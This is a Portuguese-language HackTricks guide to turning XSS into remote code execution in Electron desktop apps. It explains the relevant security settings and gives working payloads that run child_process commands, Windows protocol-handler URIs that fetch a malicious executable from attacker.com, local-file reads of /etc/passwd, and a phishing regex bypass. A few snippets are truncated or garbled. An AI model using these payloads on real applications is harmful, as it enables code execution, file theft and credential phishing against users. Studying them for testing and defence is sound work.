19 KiB
XSS para RCE em Aplicativos Desktop Electron
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Introdução
O Electron é baseado no Chromium, mas não é um navegador. Certos princípios e mecanismos de segurança implementados pelos navegadores modernos não estão presentes.
Você pode ver o Electron como um aplicativo local de backend+frontend onde o NodeJS é o backend e o Chromium é o frontend.
Normalmente, você pode encontrar o código do aplicativo Electron dentro de um aplicativo .asar
. Para obter o código, você precisa extraí-lo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
No código-fonte de um aplicativo Electron, dentro de packet.json
, você pode encontrar especificado o arquivo main.js
onde as configurações de segurança são definidas.
{
"name": "standard-notes",
"main": "./app/index.js",
O Electron tem 2 tipos de processos:
- Processo Principal (tem acesso completo ao NodeJS)
- Processo Renderer (deve ter acesso restrito ao NodeJS por motivos de segurança)
Um processo renderer será uma janela do navegador carregando um arquivo:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações irão impedir que a aplicação Electron obtenha RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.
A aplicação desktop pode ter acesso ao dispositivo do usuário por meio de APIs do Node. As duas seguintes configurações são responsáveis por fornecer mecanismos para impedir que o JavaScript da aplicação tenha acesso direto ao dispositivo do usuário e comandos de nível do sistema.
nodeIntegration
- está desativado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.contextIsolation
- está ativado por padrão. Se ativado, os processos principal e de renderização não estão isolados.preload
- vazio por padrão.sandbox
- está desativado por padrão. Ele restringirá as ações que o NodeJS pode executar.- Integração do Node em Workers
nodeIntegrationInSubframes
- está desativado por padrão.- Se a
nodeIntegration
estiver habilitada, isso permitiria o uso de APIs do Node.js em páginas da web que são carregadas em iframes dentro de uma aplicação Electron. - Se a
nodeIntegration
estiver desativada, então os preloads serão carregados no iframe.
- Se a
Exemplo de configuração:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Alguns cargas úteis RCE da qui:
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
RCE: XSS + nodeIntegration
Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar facilmente recursos do Node.js apenas chamando o require()
. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
RCE: preload
O script indicado nesta configuração é carregado antes de outros scripts no renderizador, portanto, ele tem acesso ilimitado às APIs do Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Portanto, o script pode exportar recursos de nó para páginas:
{% code title="preload.js" %}
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}
{% code title="index.html" %}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<h1>Hello World!</h1>
<p>Welcome to my Electron app.</p>
<script src="./renderer.js"></script>
</body>
</html>
{% endcode %}
Este é um exemplo de um arquivo index.html
básico para um aplicativo de desktop Electron. Ele contém um cabeçalho com a codificação de caracteres, um título e um link para um arquivo de estilo externo. O corpo contém um título e um parágrafo de boas-vindas, bem como um script que é carregado a partir de um arquivo renderer.js
.
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
{% endcode %}
{% hint style="info" %}
Se contextIsolation
estiver ativado, isso não funcionará
{% endhint %}
RCE: XSS + contextIsolation
O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno do JavaScript do Electron para que a execução do JavaScript de cada código não afete um ao outro. Essa é uma característica necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um invasor pode:
- Executar JavaScript arbitrário no renderizador (XSS ou navegação para sites externos)
- Sobrescrever o método embutido que é usado no código de pré-carregamento ou no código interno do Electron para a própria função
- Disparar o uso da função sobrescrita
- RCE?
Existem 2 lugares onde os métodos embutidos podem ser sobrescritos: no código de pré-carregamento ou no código interno do Electron:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}
Bypass do evento de clique
Se houver restrições aplicadas quando você clica em um link, você pode ser capaz de contorná-las fazendo um clique do meio em vez de um clique esquerdo regular.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Se o aplicativo de desktop Electron for implantado com as configurações adequadas de nodeIntegration
e contextIsolation
, isso simplesmente significa que a execução remota de código do lado do cliente, visando scripts de pré-carregamento ou código nativo do Electron do processo principal, não pode ser alcançada.
Cada vez que um usuário clica no link ou abre uma nova janela, os seguintes ouvintes de eventos são invocados:
{% code overflow="wrap" %}
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
{% endcode %}
A aplicação desktop substitui esses ouvintes para implementar a própria lógica de negócios da aplicação desktop. Durante a criação de novas janelas, a aplicação verifica se o link navegado deve ser aberto em uma janela ou guia da aplicação desktop, ou se deve ser aberto no navegador da web. Em nosso exemplo, a verificação é implementada com a função openInternally
, se ela retornar false
, a aplicação assumirá que o link deve ser aberto no navegador da web usando a função shell.openExternal
.
Aqui está um pseudocódigo simplificado:
De acordo com as melhores práticas de segurança do Electron JS, a função openExternal
não deve aceitar conteúdo não confiável porque isso pode levar a RCE abusando de diferentes protocolos se a aplicação não limitar a navegação dos usuários por meio de protocolos como https:// ou http://.
Diferentes sistemas operacionais suportam diferentes protocolos que podem desencadear RCE, para mais informações sobre eles, verifique https://positive.security/blog/url-open-rce, mas aqui estão alguns exemplos do Windows:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
Para mais informações sobre esses exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Ler arquivos internos: XSS + contextIsolation
Se contextIsolation
estiver definido como falso, você pode tentar usar <webview> (semelhante a <iframe>, mas pode carregar arquivos locais) para ler arquivos locais e exfiltrá-los: usando algo como <webview src=”file:///etc/passwd”></webview>:
Outra maneira de ler um arquivo interno é através deste writeup:
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
RCE: XSS + Chromium antigo
Se o chromium usado pela aplicação for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE por meio de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Supondo que você encontrou um XSS, mas não pode acionar RCE ou roubar arquivos internos, você pode tentar usá-lo para roubar credenciais por meio de phishing.
Antes de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
A chamada para openInternally
decidirá se o link será aberto na janela do desktop como um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.
No caso em que o regex usado pela função é vulnerável a bypasses (por exemplo, não escapando os pontos dos subdomínios), um invasor poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do invasor solicitando credenciais ao usuário:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Ferramentas
- Electronegativity é uma ferramenta para identificar configurações incorretas e anti-padrões de segurança em aplicativos baseados em Electron.
- Electrolint é um plugin de código aberto do VS Code para aplicativos Electron que usa o Electronegativity.
- nodejsscan para verificar bibliotecas de terceiros vulneráveis.
- Electro.ng: você precisa comprá-lo.
Laboratórios
Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.
Alguns comandos que ajudarão você no laboratório:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referências
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Mais pesquisas e artigos sobre segurança do Electron em https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.